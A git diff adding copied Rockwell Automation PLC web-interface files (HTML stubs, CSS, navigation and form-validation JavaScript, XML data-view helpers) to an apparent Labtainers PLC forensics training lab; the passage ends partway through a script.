b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview.html new file mode 100644 index 000000000..1f3a0e9f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview.html @@ -0,0 +1,125 @@ + + +Rockwell Automation + + + + + + + + + +
+ + + + + + + + +
Data ViewsNew Data View
+ + + + + + + +

+ + + + +
+ + + + + + + + + + + + + + + + + +
Slot ?Tag NameData TypeDisplay AsAccess +
+
Add
+ + +


+


+
+ + + +
+ + + + + + + + + +
Create + Data View
Name:
Description:
+
  + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/cancel.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/cancel.bmp new file mode 100644 index 000000000..dd9ea6291 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/cancel.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/javaConfirm.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/javaConfirm.js new file mode 100644 index 000000000..d0156a96c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/javaConfirm.js @@ -0,0 +1,123 @@ +function jsConfirm(msg_text) { return confirm(msg_text); } + +function URLvalidate(url) { + var re = /^\/([^\\:\*\?"<>\|\/]{1,80}\/){0,63}([^\\:\*\?"<>\|\/]{1,80})?$/; + if (re.test(url)) { + return true; + } else { + alert("The URL appears invalid. A filename must not contain any of the following characters:\n\\ / : * ? < > |\n\nA valid URL begins with a leading slash (/), must contain fewer than 64 path segments, and each segment must be less than or equal to 80 characters in length."); + return false; + } +} + +function addrValidate(address, addrType) +{ + ipArray = new Array(4); + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(address)) { + var parts = address.split("."); + + if ((parseInt(parseFloat(parts[0])) == 0)&&(addrType != "GW")) { return false; } + + for (var i=0; i 255)||(parts[i] != Math.abs(parts[i]))) { return false; }// no negative numbers + } + + if ((addrType == "IP") || (addrType == "NS")) // ip, gateway, nameserver have first octet restrictions + { + if((parseInt(parseFloat(parts[0])) == 0) || (parseInt(parseFloat(parts[0])) == 127) || (parseInt(parseFloat(parts[0])) > 223)) + { return false; } + } + return true;} + else { + if((addrType == "GW") || (addrType == "NS")) + { + return true; // blank gateway or nameservers is valid. + } + else + { + return false; + } + } + } + +function isValidIP (ipaddr) +{ + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(ipaddr)) { + var ipArray = ipaddr.split("."); + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + } + if (ipArray[0] < 128) { + if (ipArray[0] == 0 || (ipArray[1] == 0 && ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[1] == 255 && ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 127) return false; // network is all ones + } else if (ipArray[0] < 192) { + if ((ipArray[0] = 128 && ipArray[1] == 0) || (ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 191 && ipArray[1] == 255) return false; // network is all ones + } else if (ipArray[0] < 224) { + if ((ipArray[0] == 192 && ipArray[1] == 0 && ipArray[2] == 0) || ipArray[3] == 0) return false; // host or network all zeros + if (ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 223 && ipArray[1] == 255 && ipArray[2] == 255) return false; // network is all ones + } else return false; // Unsupported address class + return true;} + else { + return false; + } +} + +function isValidSubnet (subnetAddr) +{ + var i, subnet = 0; + var mask = 0x00000001, count = 1; + + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(subnetAddr)) { + var ipArray = subnetAddr.split("."); + + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + subnet |= (parseInt(parseFloat(ipArray[i])) << (8 * (3 - i))); + } + + + done = false; + for (i=0; i<4; i++) { + if (ipArray[i] == 255) { + if (done) return false; + } else if ((ipArray[i] == 254) || (ipArray[i] == 252) || (ipArray[i] == 248) || (ipArray[i] == 240) || (ipArray[i] == 224) || (ipArray[i] == 192) || (ipArray[i] == 128)) { + if (!done) done = true; + else return false; + } else if (ipArray[i] == false) { + if (!done) done = true; + } else { + return false; + } + } + + return true;} + else { + return false; + } + +} + +function isValidEmail(emailAddr) +{ + var regexpr = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ + + return regexpr.test(emailAddr); +} + +function isValidHostname(hostname) { + var regexpr = /^[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/ + + return regexpr.test(hostname); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/save.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/save.bmp new file mode 100644 index 000000000..a5a0a2fd4 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/save.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/views.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/views.js new file mode 100644 index 000000000..b9ad46edd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/newview_files/views.js @@ -0,0 +1,857 @@ +var Browser = { + IE: !!(window.attachEvent && !window.opera), + Opera: !!window.opera, + WebKit: navigator.userAgent.indexOf('AppleWebKit/') > -1, + Gecko: navigator.userAgent.indexOf('Gecko') > -1 && navigator.userAgent.indexOf('KHTML') == -1, + MobileSafari: !!navigator.userAgent.match(/Apple.*Mobile.*Safari/) +}; + +function XMLDocument() { + if (Browser.IE) + { +// var names = ["Msxml2.DOMDocument.6.0", "Msxml2.DOMDocument.3.0", "MSXML2.DOMDocument", "MSXML.DOMDocument", "Microsoft.XMLDOM"]; + var names = ["MSXML4.DOMDocument", "MSXML3.DOMDocument", "MSXML2.DOMDocument", "MSXML.DOMDocument", "Microsoft.XmlDom"]; + for (var key in names) { + try { + return new ActiveXObject(names[key]) + } catch (e) {} + } + throw new Error('Unable to create XMLDocument'); + } + else + { + if (!(this instanceof XMLDocument)) return new XMLDocument(); + + this.__proto__ = document.implementation.createDocument("", "", null); + + if (!this.xml) + { + this.__defineGetter__("xml", function(){ + return new XMLSerializer().serializeToString(this); + }); + } + + if (!this.setProperty) + { + this.setProperty = function(name, val) { + switch(name) + { + case "SelectionNamespaces": + var re = /xmlns:(.*)=('|")(.*)('|")/; + var res = re.exec(val); + if (null != res) + { + var pre = res[1]; + var uri = res[3]; + if (null == this.namespaces) this.namespaces = new Array(); + if (null == this.makeNSResolver) this.makeNSResolver = function(ns, dnsr) { + return function(prefix) { + return ns[prefix] || dnsr(prefix); + } + }; + this.namespaces[pre] = uri; + } + break; + + case "SelectionLanguage": + if (val != "XPath") throw new Error("Unsupported value \"" + val + "\" for property \"" + name + "\""); + break; + + default: + throw new Error("Unknown property \"" + name + "\" passed to setProperty"); + } + } + } + + if (!this.createNode) + { + this.createNode = function(type, name, ns) { + switch (type) + { + case Node.ELEMENT_NODE: + return this.createElementNS(ns, name); + break; + + case Node.ATTRIBUTE_NODE: + return this.createAttributeNS(ns, name); + break; + + case Node.TEXT_NODE: + case Node.CDATA_SECTION_NODE: + case Node.ENTITY_REFERENCE_NODE: + case Node.ENTITY_NODE: + case Node.PROCESSING_INSTRUCTION_NODE: + case Node.COMMENT_NODE: + case Node.DOCUMENT_NODE: + case Node.DOCUMENT_TYPE_NODE: + case Node.DOCUMENT_FRAGMENT_NODE: + case Node.NOTATION_NODE: + throw new Error("Unimplemented..."); + break; + + default: + throw new Error("Unknown node type!"); + } + }; + } + } +}; + +// Just in case IE doesn't have it... +if (typeof(Node) == "undefined") { Node = new Object(); } + +if (!Node.ELEMENT_NODE) { + // DOM level 2 ECMAScript Language Binding + Node.ELEMENT_NODE = 1; + Node.ATTRIBUTE_NODE = 2; + Node.TEXT_NODE = 3; + Node.CDATA_SECTION_NODE = 4; + Node.ENTITY_REFERENCE_NODE = 5; + Node.ENTITY_NODE = 6; + Node.PROCESSING_INSTRUCTION_NODE = 7; + Node.COMMENT_NODE = 8; + Node.DOCUMENT_NODE = 9; + Node.DOCUMENT_TYPE_NODE = 10; + Node.DOCUMENT_FRAGMENT_NODE = 11; + Node.NOTATION_NODE = 12; +} + +if (!Browser.IE) { + if (!Node.prototype.transformNode) + { + Node.prototype.transformNode = function (oXslDom) { + var oProcessor = new XSLTProcessor(); + oProcessor.importStylesheet(oXslDom); + var oResultDom = oProcessor.transformToDocument(this); + var sResult = new XMLSerializer().serializeToString(oResultDom); + if (sResult.indexOf(" -1) { + sResult = sResult.substring(sResult.indexOf(">") + 1, sResult.lastIndexOf("<")); + } + return sResult; + }; + } + + if (!Node.prototype.selectNodes) + { + Node.prototype.selectNodes = function(path) { + var nsr; + var xr; + if (this.ownerDocument) + { + if (null != this.ownerDocument.makeNSResolver) + nsr = this.ownerDocument.makeNSResolver(this.ownerDocument.namespaces, this.ownerDocument.createNSResolver(this.ownerDocument.documentElement)); + else + nsr = this.ownerDocument.createNSResolver(this.ownerDocument.documentElement); + xr = this.ownerDocument.evaluate(path, this, nsr, XPathResult.ANY_TYPE, null); + } + else + { + if (null != this.makeNSResolver) + nsr = this.makeNSResolver(this.namespaces, this.createNSResolver(this.documentElement)); + else + nsr = this.createNSResolver(this.documentElement); + xr = this.evaluate(path, this, nsr, XPathResult.ANY_TYPE, null); + } + var ret = new Object(); + + var txr = xr.iterateNext(); + var i = 0; + while (txr) + { + ret[i] = txr; + txr = xr.iterateNext(); + i = i + 1; + } + ret.length = i; + ret.item = function(n) { return this[n]; }; + return ret; + }; + } + + Node.prototype.selectSingleNode = function(path) { + var nodes = this.selectNodes(path); + if (nodes.length > 0) + return nodes.item(0); + else + return null; + } +} + +if (!Browser.IE && !Browser.Gecko) +{ + alert("Creating/editing a data view requires Internet Explorer 5.5 or greater with XML support, or Firefox 2 or greater. Please upgrade your browser or load the appropriate patches to support XML."); + history.go(-1); +} + + var newRoot; + var xmlDoc; + var xslDoc; + + var nodes; + var node; + + var rowcolor = "#dedede"; + var PATH_TO_LOCAL_BACKPLANE = "1,"; + + var DATAVIEW_NAMESPACE = ""; + var DATATYPES_NAMESPACE = ""; + var XSI_NAMESPACE = 